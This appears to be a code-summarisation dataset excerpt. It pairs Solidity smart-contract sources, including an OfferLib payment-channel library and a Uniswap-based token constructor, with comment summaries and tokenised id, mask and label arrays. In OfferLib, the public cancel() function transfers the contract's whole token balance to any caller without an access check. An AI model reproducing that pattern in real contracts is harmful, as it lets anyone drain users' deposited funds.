-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.23;
import "./NectarToken.sol";
import "zeppelin-solidity/contracts/math/SafeMath.sol";
/*
Lib for preforming actions based on offer state
*/
library OfferLib {
using SafeMath for uint256;
// TODO: Think about removing useless state varibles and or replacing with merkle root
// State Map
/// @dev Required State
// [0-31] is close flag
// [32-63] nonce
// [64-95] ambassador address
// [96-127] expert address
// [128-159] msig address
// [160-191] balance in nectar for ambassador
// [192-223] balance in nectar for expert
// [224-255] token address
// [256-287] A globally-unique identifier for the Listing.
// [288-319] The Offer Amount.
/// @dev Optional State
// [320-351] Cryptographic hash of the Artifact.
// [352-383] The IPFS URI of the Artifact.
// [384-415] Engagement Deadline
// [416-447] Assertion Deadline
// [448-479] current commitment
// [480-511] bitmap of verdicts
// [512-543] meta data
function getCloseFlag(bytes _state) public pure returns(uint8 _flag) {
assembly {
_flag := mload(add(_state, 32))
}
}
function getSequence(bytes _state) public pure returns(uint256 _seq) {
assembly {
_seq := mload(add(_state, 64))
}
}
function getPartyA(bytes _state) public pure returns(address _ambassador) {
assembly {
_ambassador := mload(add(_state, 96))
}
}
function getPartyB(bytes _state) public pure returns(address _expert) {
assembly {
_expert := mload(add(_state, 128))
}
}
function getMultiSigAddress(bytes _state) public pure returns(address _multisig) {
assembly {
_multisig := mload(add(_state, 160))
}
}
function getBalanceA(bytes _state) public pure returns(uint256 _balanceA) {
assembly {
_balanceA := mload(add(_state,192))
}
}
function getBalanceB(bytes _state) public pure returns(uint256 _balanceB) {
assembly {
_balanceB := mload(add(_state,224))
}
}
function getTokenAddress(bytes _state) public pure returns (address _token) {
assembly {
_token := mload(add(_state,256))
}
}
function getEngagementDeadline(bytes _state) public pure returns (uint256 _engagementDeadline) {
assembly {
_engagementDeadline := mload(add(_state, 416))
}
}
function getAssertionDeadline(bytes _state) public pure returns (uint256 _assertionDeadline) {
assembly {
_assertionDeadline := mload(add(_state, 448))
}
}
function getOfferState(bytes _state) public pure returns
( bytes32 _guid, uint256 _amount, bytes32 _artifactHash, bytes32 _artifactURI,
uint256 _engagementDeadline, uint256 _assertionDeadline, bytes32 _commitment,
bytes32 _assertion, bytes32 _meta) {
assembly {
_guid := mload(add(_state, 288)) // [256-287] A globally-unique identi er for the Listing.
_amount := mload(add(_state, 320)) // [288-319] The Offer Amount.
_artifactHash := mload(add(_state, 352)) // [320-351] Cryptographic hash of the Artifact.
_artifactURI := mload(add(_state, 384)) // [352-383] The IPFS URI of the Artifact.
_engagementDeadline := mload(add(_state, 416)) // [384-415] Engagement Deadline
_assertionDeadline := mload(add(_state, 448)) // [416-447] Assertion Deadline
_commitment := mload(add(_state, 480)) // [448-479] commitment
_assertion := mload(add(_state, 512)) // [480-511] bitmap of verdicts
_meta := mload(add(_state, 544)) // [512-543] Information derived during Assertion generation
}
}
function getTotal(bytes _state) public pure returns(uint256) {
uint256 _a = getBalanceA(_state);
uint256 _b = getBalanceB(_state);
return _a.add(_b);
}
function open(bytes _state) public returns (bool) {
require(msg.sender == getPartyA(_state), 'Party A does not mactch signature recovery');
// get the token instance used to allow funds to msig
NectarToken _t = NectarToken(getTokenAddress(_state));
// ensure the amount sent to open channel matches the signed state balance
require(_t.allowance(getPartyA(_state), this) == getBalanceA(_state), 'value does not match ambassador state balance');
// complete the tranfer of ambassador approved tokens
_t.transferFrom(getPartyA(_state), this, getBalanceA(_state));
return true;
}
function join(bytes _state) public view returns (bool) {
// get the token instance used to allow funds to msig
NectarToken _t = NectarToken(getTokenAddress(_state));
// ensure the amount sent to join channel matches the signed state balance
require(msg.sender == getPartyB(_state), 'Party B does not mactch signature recovery');
// Require bonded is the sum of balances in state
require(getTotal(_state) == _t.balanceOf(this), 'token total deposited does not match state balance');
return true;
}
function update(bytes _state) public returns (bool) {
// get the token instance used to allow funds to msig
NectarToken _t = NectarToken(getTokenAddress(_state));
if(_t.allowance(getPartyA(_state), this) > 0) {
_t.transferFrom(getPartyA(_state), this, _t.allowance(getPartyA(_state), this));
}
require(getTotal(_state) == _t.balanceOf(this), 'token total deposited does not match state balance');
}
function cancel(address tokenAddress) public returns (bool) {
NectarToken _t = NectarToken(tokenAddress);
return _t.transfer(msg.sender, _t.balanceOf(this));
}
function finalize(bytes _state) public returns (bool) {
address _a = getPartyA(_state);
address _b = getPartyB(_state);
NectarToken _t = NectarToken(getTokenAddress(_state));
require(getTotal(_state) == _t.balanceOf(this), 'tried finalizing token state that does not match bnded value');
_t.transfer(_a, getBalanceA(_state));
_t.transfer(_b, getBalanceB(_state));
}
} | get the token instance used to allow funds to msig ensure the amount sent to join channel matches the signed state balance Require bonded is the sum of balances in state | function join(bytes _state) public view returns (bool) {
NectarToken _t = NectarToken(getTokenAddress(_state));
require(msg.sender == getPartyB(_state), 'Party B does not mactch signature recovery');
require(getTotal(_state) == _t.balanceOf(this), 'token total deposited does not match state balance');
return true;
}
| 14,074,246 | [
1,
588,
326,
1147,
791,
1399,
358,
1699,
284,
19156,
358,
4086,
360,
3387,
326,
3844,
3271,
358,
1233,
1904,
1885,
326,
6726,
919,
11013,
12981,
324,
265,
785,
353,
326,
2142,
434,
324,
26488,
316,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1233,
12,
3890,
389,
2019,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
423,
386,
297,
1345,
389,
88,
273,
423,
386,
297,
1345,
12,
588,
1345,
1887,
24899,
2019,
10019,
203,
540,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1689,
7325,
38,
24899,
2019,
3631,
296,
17619,
605,
1552,
486,
312,
621,
343,
3372,
11044,
8284,
203,
203,
3639,
2583,
12,
588,
5269,
24899,
2019,
13,
422,
389,
88,
18,
12296,
951,
12,
2211,
3631,
296,
2316,
2078,
443,
1724,
329,
1552,
486,
845,
919,
11013,
8284,
203,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x14bf096bdbD142902237b8B778A1251384A53402/sources/elonsvision.sol | Create a uniswap pair for this new token set the rest of the contract variablesexclude owner and this contract from fee | constructor (address payable teamWalletAddress, address payable marketingWalletAddress) {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
| 3,163,895 | [
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
10157,
3410,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
261,
2867,
8843,
429,
5927,
16936,
1887,
16,
1758,
8843,
429,
13667,
310,
16936,
1887,
13,
288,
203,
540,
203,
3639,
389,
10035,
16936,
1887,
273,
5927,
16936,
1887,
31,
203,
3639,
389,
3355,
21747,
16936,
1887,
273,
13667,
310,
16936,
1887,
31,
203,
540,
203,
3639,
389,
86,
5460,
329,
63,
67,
3576,
12021,
1435,
65,
273,
389,
86,
5269,
31,
203,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
21281,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
389,
3576,
12021,
9334,
389,
88,
5269,
1769,
203,
565,
289,
203,
203,
2,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.